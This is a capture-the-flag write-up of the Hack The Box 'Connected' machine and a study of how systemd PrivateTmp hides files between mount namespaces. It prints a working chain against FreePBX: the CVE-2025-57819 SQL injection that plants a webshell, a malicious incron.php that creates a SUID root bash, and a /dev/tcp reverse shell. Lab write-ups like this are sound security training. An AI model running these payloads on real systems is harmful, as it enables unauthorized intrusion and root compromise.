Post

Hack The Box Machine Season 11 - Connected - Easy - Linux

Hack The Box Machine Season 11 - Connected - Easy - Linux

Difficulty: Easy - Linux

Scan nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Connected]
└─$ sudo nmap 10.129.245.100 -A -T4
[sudo] password for nhannha:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-11 12:44 EDT
Nmap scan report for 10.129.245.100
Host is up (0.35s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| http-title: 404 Not Found
|_Requested resource was config.php
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
| http-robots.txt: 1 disallowed entry
|_/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (88%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.15 (90%), OpenWrt 22.03 (Linux 5.10) (90%), Linux 4.19 - 5.15 (89%), Linux 4.19 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   403.29 ms 10.10.16.1
2   403.34 ms 10.129.245.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.65 seconds

Access to the website, identified service version

Do the research about this version, i found a CVE of this service which allow unauthenticated RCE: CVE-2025-57819. Using METASPLOIT to exploit the vulnerability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
┌──(nhannha㉿conmeo)-[~]
└─$ msfconsole
Metasploit tip: The use command supports fuzzy searching to try and
select the intended module, e.g., use kerberos/get_ticket or use
kerberos forge silver ticket

                                              `:oDFo:`
                                           ./ymM0dayMmy/.
                                        -+dHJ5aGFyZGVyIQ==+-
                                    `:sm⏣~~Destroy.No.Data~~s:`
                                 -+h2~~Maintain.No.Persistence~~h+-
                             `:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
                          ./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.
                       -++SecKCoin++e.AMd`       `.-://///+hbove.913.ElsMNh+-
                      -~/.ssh/id_rsa.Des-                  `htN01UserWroteMe!-
                      :dopeAW.No<nano>o                     :is:TЯiKC.sudo-.A:
                      :we're.all.alike'`                     The.PFYroy.No.D7:
                      :PLACEDRINKHERE!:                      yxp_cmdshell.Ab0:
                      :msf>exploit -j.                       :Ns.BOB&ALICEes7:
                      :---srwxrwx:-.`                        `MS146.52.No.Per:
                      :<script>.Ac816/                        sENbove3101.404:
                      :NT_AUTHORITY.Do                        `T:/shSYSTEM-.N:
                      :09.14.2011.raid                       /STFU|wall.No.Pr:
                      :hevnsntSurb025N.                      dNVRGOING2GIVUUP:
                      :#OUTHOUSE-  -s:                       /corykennedyData:
                      :$nmap -oS                              SSo.6178306Ence:
                      :Awsm.da:                            /shMTl#beats3o.No.:
                      :Ring0:                             `dDestRoyREXKC3ta/M:
                      :23d:                               sSETEC.ASTRONOMYist:
                       /-                        /yo-    .ence.N:(){ :|: & };:
                                                 `:Shall.We.Play.A.Game?tron/
                                                 ```-ooy.if1ghtf0r+ehUser5`
                                               ..th3.H1V3.U2VjRFNN.jMh+.`
                                              `MjM~~WE.ARE.se~~MMjMs
                                               +~KANSAS.CITY's~-`
                                                J~HAKCERS~./.`
                                                .esc:wq!:`
                                                 +++ATH`
                                                  `


       =[ metasploit v6.4.135-dev                               ]
+ -- --=[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads     ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search Interrupt: use the 'exit' command to quit
msf > search CVE-2025-57819

Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  exploit/unix/http/freepbx_unauth_sqli_to_rce  2025-08-28       excellent  Yes    FreePBX ajax.php unauthenticated SQLi to RCE


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/freepbx_unauth_sqli_to_rce

msf > use 0
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > show options

Module options (exploit/unix/http/freepbx_unauth_sqli_to_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5h, sapni, http, socks4, socks5
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                no        The URI for the FreePBX installation
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zs
                                              h) (Accepted: none, python3.8+, shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST                            yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      dGMLiaEJAPw      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   0   Unix Command



View the full module info with the info, or info -d command.

msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set RHOSTS 10.129.245.100
RHOSTS => 10.129.245.100
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set LHOST 10.10.17.79
LHOST => 10.10.17.79
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set VHOST connected.htb
VHOST => connected.htb
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > run
[*] Started reverse TCP handler on 10.10.17.79:4444
[+] Created cronjob with job name: 'SODP'
[*] Waiting for cronjob to trigger...
[*] Sending stage (3090404 bytes) to 10.129.245.100
[*] Meterpreter session 1 opened (10.10.17.79:4444 -> 10.129.245.100:53996) at 2026-08-11 13:10:50 -0400
[*] Attempting to perform cleanup
[+] Cronjob removed, happy hacking!

meterpreter > shell
Process 3559 created.
Channel 1 created.
id
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Get user flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
python -c 'import pty;pty.spawn("/bin/bash")'
______                   ______ ______ __   __
|  ___|                  | ___ \| ___ \\ \ / /
| |_    _ __   ___   ___ | |_/ /| |_/ / \ V /
|  _|  | '__| / _ \ / _ \|  __/ | ___ \ /   \
| |    | |   |  __/|  __/| |    | |_/ // /^\ \
\_|    |_|    \___| \___|\_|    \____/ \/   \/


NOTICE! You have 3 notifications! Please log into the UI to see them!
Current Network Configuration
+-----------+-------------------+---------------------------+
| Interface | MAC Address       | IP Addresses              |
+-----------+-------------------+---------------------------+
| eth0      | 00:50:56:B9:4E:38 | 10.129.245.100            |
|           |                   | fe80::82bd:1bcb:a990:dd3b |
+-----------+-------------------+---------------------------+
ls
ls
pwd
pwd





Please note most tasks should be handled through the GUI.
You can access the GUI by typing one of the above IPs in to your web browser.
For support please visit:
    http://www.freepbx.org/support-and-professional-services

+---------------------------------------------------------------------+
| This machine is not activated.  Activating your system ensures that |
| your machine is eligible for support and that it has the ability to |
| install Commercial Modules.                                         |
|                                                                     |
| If you already have a Deployment ID for this machine, simply run:   |
|                                                                     |
|    fwconsole sysadmin activate deploymentid                         |
|                                                                     |
| to assign that Deployment ID to this system. If this system is new, |
| please go to Activation (which is on the System Admin page in the   |
| Web UI) and create a new Deployment there.                          |
+---------------------------------------------------------------------+

[asterisk@connected ~]$ ls
uXoDGVKjlNs  user.txt
[asterisk@connected ~]$ pwd
/home/asterisk
[asterisk@connected ~]$
[asterisk@connected ~]$
[asterisk@connected ~]$ cat user.txt
cat user.txt
xxxxxx4574d1bfee6fb6bdb186fc1f5
[asterisk@connected ~]$

Method 2: manual exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(nhannha㉿conmeo)-[~]
└─$ curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x%27%3BINSERT%20INTO%20cron_jobs%20%28modulename%2Cjobname%2Ccommand%2Cclass%2Cschedule%2Cmax_runtime%2Cenabled%2Cexecution_order%29%20VALUES%20%28%27sysadmin%27%2C%27wt-shell3%27%2C%27echo%20%5C%22PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2BCg%3D%3D%5C%22%7Cbase64%20-d%20%3E%2Fvar%2Fwww%2Fhtml%2Fwt-shell3.php%27%2CNULL%2C%27%2A%20%2A%20%2A%20%2A%20%2A%27%2C30%2C1%2C1%29%2D%2D%20" -l
HTTP/1.1 500 Internal Server Error
Date: Tue, 11 Aug 2026 17:33:18 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
X-Powered-By: PHP/7.4.16
Set-Cookie: PHPSESSID=vmqh5u12cg6nk07g34fi2v3rf1; expires=Thu, 10-Sep-2026 17:33:18 GMT; Max-Age=2592000; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json

{"error":{"type":"Whoops\\Exception\\ErrorException","message":"Trying to access array offset on value of type bool","file":"\/var\/www\/html\/admin\/modules\/endpoint\/views\/model.php","line":144}}
┌──(nhannha㉿conmeo)-[~]
└─$ curl -ik "https://connected.htb/wt-shell3.php?cmd=id"
HTTP/1.1 404 Not Found
Date: Tue, 11 Aug 2026 17:33:45 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
Content-Length: 211
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /wt-shell3.php was not found on this server.</p>
</body></html>

┌──(nhannha㉿conmeo)-[~]
└─$ curl -ik "https://connected.htb/wt-shell3.php?cmd=id"
HTTP/1.1 200 OK
Date: Tue, 11 Aug 2026 17:34:55 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
X-Powered-By: PHP/7.4.16
Content-Length: 59
Content-Type: text/html; charset=UTF-8

uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

┌──(nhannha㉿conmeo)-[~]
└─$

After checking all the things, i found an service name icron which contains an interesting piece

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[asterisk@connected html]$ cat /etc/incron.d/*
/var/spool/asterisk/sysadmin/vpnget IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/wanrouter_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_wanrouter_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha
/usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#

/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#
[asterisk@connected html]$ cat /usr/sbin/sysadmin_ha
#!/usr/bin/php -q
<?php

if(file_exists("/var/www/html/admin/modules/freepbx_ha/license.php")) {
include_once("/var/www/html/admin/modules/freepbx_ha/license.php");
}

$i = "/var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php";
if (file_exists($i)) {
	require_once($i);
	$incron = new incron;
	$incron->rootTrigger();
}[asterisk@connected html]$

This script is a PHP command-line executable used within the FreePBX High Availability module. The shebang at the top ensures it runs silently in the background using the PHP CLI. It first checks if a specific license file exists within the FreePBX web administration directory. If the license file is found, it includes it to validate the module’s current activation status.

Next, it looks for the incron.php file which contains the core logic for system-level triggers. Upon finding this file, the script requires it and initializes a new incron object instance. The most critical part is the execution of the rootTrigger() method on this newly created object.

This method typically performs elevated administrative tasks that the web service cannot execute natively. Because this script is often executed with root privileges, it acts as a bridge for system operations. From a security perspective, maliciously modifying the referenced web files could lead to privilege escalation.

Check for our permission on this directory and file: /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php, confirm that the modules and the file do not existed. But we can confirm that we have permission to write in /var/www/html/admin/modules/.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
}[asterisk@connected html]$ ls -l /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php
ls: cannot access /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php: No such file or directory
[asterisk@connected html]$ /var/www/html/admin/modules/freepbx_ha/functions.inc/
bash: /var/www/html/admin/modules/freepbx_ha/functions.inc/: No such file or directory
[asterisk@connected html]$ /var/www/html/admin/modules/freepbx_ha/
bash: /var/www/html/admin/modules/freepbx_ha/: No such file or directory
[asterisk@connected html]$ ls -l /var/www/html/admin/modules/freepbx_ha/functions.inc/
ls: cannot access /var/www/html/admin/modules/freepbx_ha/functions.inc/: No such file or directory
[asterisk@connected html]$ ls -l /var/www/html/admin/modules/freepbx_ha/
ls: cannot access /var/www/html/admin/modules/freepbx_ha/: No such file or directory
[asterisk@connected html]$ ls -l /var/www/html/admin/modules/
total 288
drwxrwxr-x.  2 asterisk asterisk    6 Nov  2  2023 _cache
drwxrwxr-x.  3 asterisk asterisk  133 Nov 30  2025 accountcodepreserve
drwxrwxr-x. 12 asterisk asterisk 4096 Nov 30  2025 adv_recovery
drwxrwxr-x.  8 asterisk asterisk 4096 Nov 30  2025 allowlist

Create the modules and create the file exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pasterisk@connected html]$ cat << 'EOF' > /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.ph
> <?php
>
> class incron {
>
>     public function __construct() {
>     }
>
>     public function rootTrigger() {
>
>         $this->privEsc();
>     }
>
>     private function privEsc() {
> 	    system('cp -p /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');
>     }
> }
> ?>^C
[asterisk@connected html]$ ls -la  /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php
-rw-rw-r-- 1 asterisk asterisk 257 Aug 11 18:03 /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php
[asterisk@connected html]$

Check our permission in /usr/local/asterisk/ha_trigger and write a file to trigger code but notthing happens.

1
2
3
4
5
[asterisk@connected html]$ echo "x" > /usr/local/asterisk/ha_trigger
[asterisk@connected html]$ sleep 4
[asterisk@connected html]$ ls -la /tmp/rootbash 2>&1
ls: cannot access /tmp/rootbash: No such file or directory
[asterisk@connected html]$

Check for a while, i decided to change the destination of rootbash to /var/spool/asterisk/sysadmin/rootbash and successfully to create a shell bash to privesc.

1
2
3
4
5
6
7
8
9
'asterisk@connected html]$ cat > /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php << 'EOF' <?php class incron { public function __construct() { } public function rootTrigger() { $this->privEsc(); } private function privEsc() { system('/usr/bin/cp -p /bin/bash /var/spool/asterisk/sysadmin/rootbash; /usr/bin/chmod +s /var/spool/asterisk/sysadmin/rootbash > /var/spool/asterisk/sysadmin/priv_debug.log 2>&1'); } } ?> EOF

n/rootbashconnected html]$ rm -f /var/spool/asterisk/sysadmin/priv_debug.log /var/spool/asterisk/sysadmi
[asterisk@connected html]$ echo "x" > /usr/local/asterisk/ha_trigger
[asterisk@connected html]$ sleep 4
[asterisk@connected html]$ ls -la /var/spool/asterisk/sysadmin/rootbash 2>&1
-rwsr-sr-x 1 root root 964536 Apr  1  2020 /var/spool/asterisk/sysadmin/rootbash
[asterisk@connected html]$ cat /var/spool/asterisk/sysadmin/priv_debug.log 2>&1
[asterisk@connected html]$

From here, start to escalate to root privilege and get the flag.

1
2
3
4
5
6
7
[asterisk@connected html]$ /var/spool/asterisk/sysadmin/rootbash -p
rootbash-4.2# id
uid=999(asterisk) gid=1000(asterisk) euid=0(root) egid=0(root) groups=0(root),1000(asterisk)
rootbash-4.2# cat /root/root.txt
xxxxxxxxxxxxab8aa958b0cf5aef0d0
rootbash-4.2#

Additional info: Another way - Privilege Escalation

Because the writable configuration file was executed by a root-owned process, arbitrary commands could be injected.

A reverse shell payload was appended to the configuration file.

echo 'bash -c "bash -i >& /dev/tcp/YOUR_IP/4445 0>&1" &' >> /etc/dahdi/init.conf

A second listener was started.

nc -lvnp 4445

The monitored file event was then triggered.

echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

Within seconds, a new connection arrived.

uid=0(root) gid=0(root) groups=0(root)

The machine was now fully compromised.

Capturing the Root Flag

With root access established, retrieving the final flag was trivial.

cat /root/root.txt

The root flag confirmed complete ownership of the target system.

Additional info: Root Cause Analysis: Apache PrivateTmp and Mount Namespace Mismatch

1. Overview

During the privilege escalation process, a root-owned SUID copy of /bin/bash was created through an incrond-triggered execution chain.

The expected command successfully created:

1
/tmp/rootbash

with root ownership and the SUID bit enabled.

However, the file could not initially be observed from the existing shell, even after privilege escalation. This created the impression that the exploit chain, cp, or chmod operation had failed.

Further investigation showed that the exploit itself was functioning correctly.

The actual issue was a mount namespace mismatch caused by systemd’s PrivateTmp isolation for httpd.service.


2. Initial Symptom

The current shell reported an unexpected mount source for /tmp:

1
findmnt /tmp

Output:

1
2
TARGET SOURCE
/tmp   /dev/mapper/sngos_pbxconnect-root[/tmp/systemd-private-424cfec0bdfe468cba4575c87f0344e8-httpd.service-X0qS3W/tmp]

This output revealed that /tmp was not pointing to the normal system-wide /tmp directory.

Instead, the shell was accessing:

1
/tmp/systemd-private-424cfec0bdfe468cba4575c87f0344e8-httpd.service-X0qS3W/tmp

This directory belongs to the private temporary filesystem created by systemd for httpd.service.


3. Why the Shell Was Inside the Apache Namespace

The original foothold originated through the Apache web service.

The shell was initially running under a context similar to:

1
[asterisk@connected html]$

with a working directory under:

1
/var/www/html

This strongly indicated that the execution chain originated from Apache/PHP, such as through a webshell or server-side code execution.

The Apache systemd unit was inspected:

1
cat /usr/lib/systemd/system/httpd.service | grep -i privatetmp

Result:

1
PrivateTmp=true

This confirmed that Apache was configured with systemd temporary-directory isolation.


4. How PrivateTmp Works

When a systemd service uses:

1
PrivateTmp=true

systemd creates a private mount namespace for that service.

Inside this namespace, /tmp and /var/tmp are replaced with service-specific directories.

For example, Apache’s apparent:

1
/tmp

actually maps to something similar to:

1
/tmp/systemd-private-<boot-id>-httpd.service-<random>/tmp

Processes started by Apache inherit this mount namespace.

Therefore, the following chain remained inside the Apache namespace:

1
2
3
4
5
6
7
httpd
  |
  +-- PHP
       |
       +-- webshell / RCE
            |
            +-- interactive shell

Even after obtaining UID 0, a process does not automatically leave its existing mount namespace.

Privileges and namespaces are separate concepts.

Therefore:

1
rootbash -p

could provide root privileges while still showing Apache’s private /tmp.


5. The incrond Execution Context

The privileged action was executed through incrond.

The daemon was running as root:

1
root        773  0.0  0.0  15044  2928 ?  Ss  16:41  0:00 /usr/sbin/incrond

Unlike Apache, the relevant incrond service was not configured with PrivateTmp.

As a result, it operated in the normal host mount namespace.

The privilege escalation chain was effectively:

1
2
3
4
5
6
7
8
incrond
   |
   +-- PHP / privileged handler
          |
          +-- system()
                 |
                 +-- cp /bin/bash /tmp/rootbash
                 +-- chmod +s /tmp/rootbash

Because this chain inherited the mount namespace of incrond, /tmp/rootbash was created in the real host /tmp, not Apache’s private /tmp.


6. Why the File Appeared to Be Missing

Two different processes were resolving the same pathname:

1
/tmp/rootbash

to two different underlying directories.

From the Apache-derived shell:

1
/tmp/rootbash

meant approximately:

1
/tmp/systemd-private-...-httpd.service-.../tmp/rootbash

From incrond:

1
/tmp/rootbash

meant:

1
host /tmp/rootbash

Therefore, the privileged command succeeded, but the current shell was looking in a different filesystem view.

The issue was observational rather than an exploit failure.


7. Confirmation Using nsenter

The mount namespace of incrond was entered directly:

1
nsenter -t 773 -m ls -la /tmp/

The real host /tmp contained:

1
2
3
-rwxr-xr-x   1 root root 964536 Apr  1  2020 finaltest
-rw-r--r--   1 root root     44 Aug 11 18:46 priv_debug.log
-rwsr-sr-x   1 root root 964536 Apr  1  2020 rootbash

A direct check confirmed the SUID binary:

1
nsenter -t 773 -m ls -la /tmp/rootbash

Result:

1
-rwsr-sr-x 1 root root 964536 Apr 1 2020 /tmp/rootbash

This conclusively demonstrated that the file had been created successfully.

Its properties were:

1
2
3
4
Owner: root
Group: root
SUID: enabled
SGID: enabled

Therefore, the original privileged operation had completed correctly.


8. Additional Artifacts

Other debugging artifacts were also present in the host /tmp:

1
2
3
finaltest
priv_debug.log
rootbash

These files had previously appeared to be missing from the Apache-derived shell for the same reason.

They existed in the host namespace but were invisible from Apache’s private temporary directory.

This provided additional evidence that multiple earlier debugging tests had actually succeeded.


9. Why /var/spool/asterisk/... Worked

Operations involving paths such as:

1
/var/spool/asterisk/sysadmin/

were visible from both contexts.

This was because PrivateTmp primarily isolates:

1
2
/tmp
/var/tmp

It does not normally create private versions of arbitrary filesystem locations such as:

1
/var/spool/asterisk/

Consequently, both the Apache namespace and the normal host namespace referenced the same files under /var/spool/asterisk.

This explains why tests performed there appeared to work normally while /tmp-based tests appeared inconsistent.


10. Root Privileges Do Not Automatically Escape the Namespace

An important observation is that obtaining UID 0 does not automatically restore the host filesystem view.

For example, executing:

1
/tmp/rootbash -p

from a process inside Apache’s mount namespace creates a privileged shell that inherits that same namespace.

Conceptually:

1
2
3
4
5
6
7
8
Apache namespace
     |
     +-- shell
          |
          +-- SUID bash
                |
                +-- UID 0
                +-- still Apache mount namespace

Therefore, the resulting process may be:

1
uid=0(root)

while still seeing Apache’s isolated /tmp.

Namespaces are inherited independently of Unix UID transitions.


11. Entering the Host Mount Namespace

Once sufficient privileges were available, the correct filesystem view could be entered using:

1
nsenter -t 773 -m /bin/bash -p

The options mean:

1
2
-t 773    use PID 773 as the target process
-m        enter its mount namespace

Because PID 773 was incrond, and incrond was operating in the normal host mount namespace, this provided a shell with the expected host filesystem view.

After entering it:

1
2
id
ls -la /tmp

would display the host /tmp normally.


12. Why PID 773 Was Selected

The number 773 itself had no special meaning.

It was simply the PID of the relevant incrond process:

1
root 773 ... /usr/sbin/incrond

The objective when using:

1
nsenter -t <PID> -m

is to choose a process that is already inside the desired mount namespace.

Since the privileged filesystem operation was triggered through incrond, its namespace was an appropriate target.

The PID could be rediscovered using:

1
pgrep incrond

or:

1
ps aux | grep '[i]ncrond'

13. Comparing Mount Namespaces

Mount namespaces can also be compared directly using /proc.

For example:

1
2
3
readlink /proc/1/ns/mnt
readlink /proc/773/ns/mnt
readlink /proc/<httpd-pid>/ns/mnt

A result may conceptually look like:

1
2
3
/proc/1/ns/mnt      -> mnt:[4026531840]
/proc/773/ns/mnt    -> mnt:[4026531840]
/proc/1421/ns/mnt   -> mnt:[4026532517]

If PID 773 matches PID 1, it strongly indicates that incrond is using the normal system mount namespace.

If the Apache process has a different mount namespace ID, that confirms the isolation boundary.


14. Enumerating Mount Namespaces

When the appropriate process is not immediately known, process mount namespaces can be enumerated:

1
2
3
4
for pid in $(ps -eo pid=); do
    ns=$(readlink /proc/$pid/ns/mnt 2>/dev/null)
    [ -n "$ns" ] && echo "$pid $ns"
done

Processes sharing the same value, such as:

1
mnt:[4026531840]

are members of the same mount namespace.

The host namespace commonly contains many system processes, while isolated services may appear in separate namespaces.

This technique is more reliable than assuming that a process is in the host namespace solely because it is running as root.


15. Note About the strace Investigation

An earlier hypothesis suggested that a missing debugging log could have been caused by strace not being installed.

This was disproved by:

1
which strace

Result:

1
/usr/bin/strace

and:

1
rpm -q strace

Result:

1
strace-4.24-4.el7.x86_64

Therefore, the absence of a particular /root/incrond_child.log file cannot be attributed to a missing strace binary.

It should be investigated independently if required.

However, it does not change the confirmed root cause of the /tmp/rootbash visibility issue.


16. Root Cause

The root cause was:

A mount namespace mismatch between an Apache-derived shell running under httpd.service with PrivateTmp=true and the privileged incrond process operating in the normal host mount namespace.

The privileged command successfully created:

1
/tmp/rootbash

in the host namespace.

The attacker-controlled shell searched for the same pathname inside Apache’s private temporary namespace.

As a result, a successful privilege escalation action initially appeared to have failed.


17. Execution Flow

The situation can be represented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
                    HOST MOUNT NAMESPACE
                    ====================

systemd
  |
  +-- incrond (PID 773, root)
         |
         +-- privileged PHP/script
                 |
                 +-- system()
                        |
                        +-- cp /bin/bash /tmp/rootbash
                        +-- chmod +s /tmp/rootbash
                                     |
                                     v
                              /tmp/rootbash
                              root:root
                              SUID enabled


                    APACHE MOUNT NAMESPACE
                    ======================

httpd (PrivateTmp=true)
  |
  +-- PHP
       |
       +-- webshell / RCE
             |
             +-- shell
                   |
                   +-- rootbash -p
                          |
                          +-- UID 0
                          +-- still same mount namespace
                          |
                          +-- /tmp
                              maps to:

/tmp/systemd-private-...-httpd.service-.../tmp

The two execution paths share most of the filesystem but do not share the same /tmp.


18. Security and Debugging Implications

This behavior demonstrates an important Linux troubleshooting principle:

The pathname visible from one process does not necessarily represent the same filesystem object visible from another process.

When debugging privileged processes or service-triggered execution, it is necessary to consider:

  • mount namespaces;

  • PrivateTmp;

  • containers;

  • chroots;

  • systemd sandboxing;

  • bind mounts;

  • PID namespaces;

  • user namespaces.

A privilege escalation attempt may therefore succeed while the resulting artifact remains invisible from the original shell.

Commands such as the following are especially useful:

1
2
3
4
5
6
findmnt
mount
readlink /proc/<pid>/ns/mnt
lsns
systemctl cat <service>
nsenter

19. Useful Verification Commands

Confirm Apache temporary isolation:

1
systemctl cat httpd | grep -i PrivateTmp

or:

1
grep -i PrivateTmp /usr/lib/systemd/system/httpd.service

Check what /tmp means for the current shell:

1
findmnt /tmp

Locate incrond:

1
pgrep -a incrond

Check mount namespace IDs:

1
2
3
readlink /proc/1/ns/mnt
